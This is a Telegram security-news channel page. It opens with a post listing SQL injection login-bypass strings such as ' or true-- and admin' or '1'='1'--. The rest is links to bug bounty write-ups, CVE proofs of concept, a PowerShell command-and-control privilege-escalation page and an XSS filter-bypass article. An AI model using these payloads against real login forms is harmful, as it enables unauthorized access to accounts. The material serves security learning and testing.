Information Security
@sec_nerd_en
412 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
412 subscribers
Information Security
sql injection login bypass

' or ''-'
" or ""-"
" or true--
' or true--
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*

#payloads #payload #bypass
161 viewsedited  
Information Security
https://medium.com/@justm0rph3u5/blocked-user-can-send-notification-due-to-logical-bug-in-instagram-first-instagram-bug-2bd09aa52f14
Medium
Blocked User Can Send Notification Due to Logical Bug in Instagram | First Instagram Bug
Privacy Violation issue Instagram
105 views
Information Security
https://github.com/GrrrDog/weird_proxies
GitHub
GitHub - GrrrDog/weird_proxies: Reverse proxies cheatsheet
Reverse proxies cheatsheet. Contribute to GrrrDog/weird_proxies development by creating an account on GitHub.
99 views
Information Security
https://www.ambionics.io/blog/php-mt-rand-prediction
Ambionics
Breaking PHP's mt_rand() with 2 values and no bruteforce
We demonstrate how one can recover mt_rand()'s seed with only two outputs and without any bruteforce.
96 views
Information Security
https://github.com/r00t-3xp10it/meterpeter/wiki/WSReset.exe-Privilege-Escalation-(Client.ps1)
GitHub
WSReset.exe Privilege Escalation (Client.ps1)
C2 Powershell Command & Control Framework with BuiltIn Commands (Modules) - r00t-3xp10it/meterpeter
100 views
Information Security
https://medium.com/@benjamindbrown/finding-mcafee-a-case-study-on-geoprofiling-and-imagery-analysis-6f16bbd5c219

#OSINT
Medium
Finding McAfee: A Case Study on Geoprofiling and Imagery Analysis
Identify past, current, and possible future locations through the geolocation and chronolocation of media provided by a specific user.
103 views
Information Security
https://medium.com/@alicanact60/facebook-bug-bounty-permission-bug-19c9358d2297
Medium
Facebook Bug Bounty! {Permission Bug}
Hi guys! My name is Ali Tütüncü and I am a security researcher. When I started to bug bounty, I said “I will find a vulnerability on…
114 views
Information Security
https://drive.google.com/file/d/1p83ButiuItmvEyi_JAEVqEQ-AYYnLsb2/view
Google Docs
Hunting Tips.pdf
106 views
Information Security
https://cdn.sekurak.pl/animations/req_poisoning/
101 views
Information Security
https://www.ezequiel.tech/p/10k-host-header.html
www.ezequiel.tech
$10k host header
Website of Ezequiel Pereira, Uruguayan security enthusiast and student.
106 views
Information Security
https://medium.com/bugbountywriteup/bounty-tip-how-to-push-injection-through-json-xml-stubs-for-api-699f4959fc5
Medium
Bounty Tip : How to Push Injection through JSON/XML stubs for API
How to find vulnerabilities where no one has looked for them yet?
102 views
Information Security
https://github.com/struct/mms
GitHub
GitHub - struct/mms: Modern Memory Safety in C/C++
Modern Memory Safety in C/C++. Contribute to struct/mms development by creating an account on GitHub.
91 views
Information Security
https://twitter.com/Naategh_/status/1239466683577675777

#bugbounty #bugbountytips
Twitter
Naategh
https://t.co/dIcl2ddG9g is not only site you should check for leaks, here are some others: https://t.co/W24EggMRIl https://t.co/zXSBshpLms https://t.co/heiv3YRMLe #bugbounty #bugbountytips
95 viewsedited  
Information Security
https://medium.com/@qazbnm456/cve-2020-2551-unauthenticated-remote-code-execution-in-iiop-protocol-via-malicious-jndi-lookup-119bac7c1eb2
Medium
CVE-2020-2551: Unauthenticated Remote Code Execution in IIOP protocol via Malicious JNDI Lookup
TL;DR
97 views
Information Security
https://github.com/piotrflorczyk/cve-2019-1458_POC
GitHub
GitHub - piotrflorczyk/cve-2019-1458_POC: POC for cve-2019-1458
POC for cve-2019-1458. Contribute to piotrflorczyk/cve-2019-1458_POC development by creating an account on GitHub.
97 views
Information Security
https://medium.com/bugbountywriteup/how-i-bypassed-the-otp-verification-process-part-3-1bd49f8d76b9
Medium
How I bypassed the OTP verification process? Part - 3
Turbo Intruder - The Burp Extension I fell in love with!
111 views
Information Security
https://github.com/junorouse/ctf/blob/master/2020/confidence-pre/angry-defender.md
GitHub
ctf/angry-defender.md at master · junorouse/ctf
:grin: writeup & exploits :yum:. Contribute to junorouse/ctf development by creating an account on GitHub.
108 views
Information Security
https://brutelogic.com.br/blog/filter-bypass-in-multi-context/
Brute XSS
Filter Bypass in Multi Context - Brute XSS
Some Cross-Site Scripting (XSS) vectors arise from strict but allowed possibilities, forming tricky combinations. It’s all about contexts and sometimes the interaction between different contexts with different filters lead to some interesting bypasses. Although…
109 views
Information Security
https://medium.com/@vickieli/best-hacker-and-security-blogs-to-read-d716c43e0494
Medium
Best Hacker and Security Blogs to Read
Please accept my eternal gratitude and creepy fangirling on twitter.
118 views
Information Security
https://medium.com/@aniltom/where-is-my-train-tracking-to-hacking-d388e4b97225
Medium
Where is my Train : Tracking to Hacking !
Hello guys,
102 views